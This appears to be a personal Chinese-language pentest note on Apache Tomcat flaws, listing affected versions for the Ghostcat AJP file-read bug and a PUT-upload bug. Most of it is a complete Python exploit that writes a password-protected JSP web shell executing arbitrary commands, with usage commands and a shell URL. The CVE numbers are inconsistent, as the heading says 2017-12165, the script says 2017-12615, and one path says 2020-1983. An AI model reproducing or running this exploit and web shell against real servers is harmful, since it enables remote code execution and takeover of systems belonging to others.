tomcat

cve-2020-1938

Apache Tomcat 6

Tomcat 7系列 <7.0.100

Tomcat 8系列 < 8.5.51

Tomcat 9 系列 <9.0.31

读取配置文件

python3 /root/桌面/cve-2020-1983/tomcat.py read_file --webapp=manager /WEB-INF/web.xml 192.168.64.142

https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi/blob/master/CNVD-2020-10487-Tomcat-Ajp-lfi.py

cve-2017-12165

利用条件是Windows+Tomcat 7.0.x+配置文件readonly=false，配置文件内容如：

<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>

python3 /root/桌面/tomcat-cve-2017-12165.py http://192.168.64.142:8080/

http://192.168.64.142:8080/cbd.jsp?pwd=cbd&cmd=ls

# 某佬脚本

import requests
import sys

'''
Usege:python3 CVE-2017-12615.py http://127.0.0.1/
Shell:http://120.79.66.58:8080/写入的文件?pwd=cbd&cmd=whoami
'''


def attack(url):
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0"}
    data = """<%
    if("cbd".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }
    %>"""
    code = ['cbd.jsp.', 'cbd.jsp/', 'cbd.jsp::$DATA']
    try:
        for i in range(2):
            requests.put(url + code[i], headers=headers, data=data)  # 发送put请求写入文件
            resp = requests.get(url + code[i][:-1], headers=headers)  # 发送get请求验证是否写入
            if resp.status_code == 200:
                print('写入文件成功,shell地址为 ' + url + code[0][:-1])
                exit()
        requests.put(url + code[2], headers=headers, data=data)
        resp1 = requests.get(url + code[2], headers=headers)
        if resp1.status_code == 200:
            print('写入文件成功,shell地址为 ' + url + code[2])
        print('Exploit结束')
    except:
        "someone is error!!!"


if __name__ == '__main__':
    target_url = sys.argv[1]
    attack(target_url)